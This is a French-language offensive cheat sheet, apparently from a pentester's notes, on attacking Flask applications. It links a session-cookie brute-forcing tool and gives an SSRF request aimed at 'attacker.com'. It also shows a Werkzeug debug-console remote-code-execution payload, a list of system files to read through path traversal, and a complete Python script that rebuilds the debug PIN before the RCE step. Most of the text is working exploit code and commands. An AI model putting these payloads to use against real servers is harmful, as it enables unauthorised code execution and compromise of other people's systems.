# Flask

## Outils

### Flask-unsign

Flask-unsign est un outil de ligne de commande pour récupérer, décoder, bruteforcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.

ressource: <https://github.com/Paradoxis/Flask-Unsign>

## SSRF

```
GET @attacker.com/ HTTP/1.1
Host: target.com
Connection: close
```

## Werzeug

### Flask Werkzeug debug console RCE

#### Sans PIN

Endpoint: <https://target.com/console>

```python
__import__('os').popen('whoami').read();
```

#### Avec PIN

Nécessite soit un audit en boîte blanche, soit une vulnérabilité permettant d'accéder au code source (path traversal par exemple).

Trouver le fichier `/usr/local/lib/pythonX.X/werzeug/debug/__init__.py`

repo github: <https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py>

Pour reverse l'algorithme de génération du PIN il faut les éléments suivants:

* Le nom d'utilisateur du lanceur de l'app.
* Le chemin vers le fichier app.py `/usr/local/lib/python3.5/dist-packages/flask/app.py(c)`
* Le décimal de l'adresse MAC de la machine.
  * **`/proc/net/arp`** => Récupérer le device ID.
  * **`/sys/class/net/<device id>/address`** => Récupérer l'adresse MAC.
* l'ID de la machine.
  * **`/etc/machine-id`** ou **`/proc/sys/kernel/random/boot_id`**

#### Code Python pour générer le PIN

```python
import hashlib
from itertools import chain
probably_public_bits = [
    '[username]',
    'flask.app',
    'Flask',
    '/path/to/flask/app.py'
]

private_bits = [
    '[Decimal MAC]',
    '[Machine ID]'
]

#h = hashlib.md5() # changé dans la release https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

Une fois cela fait, exploiter la RCE avec la commandes de la partie Sans PIN.
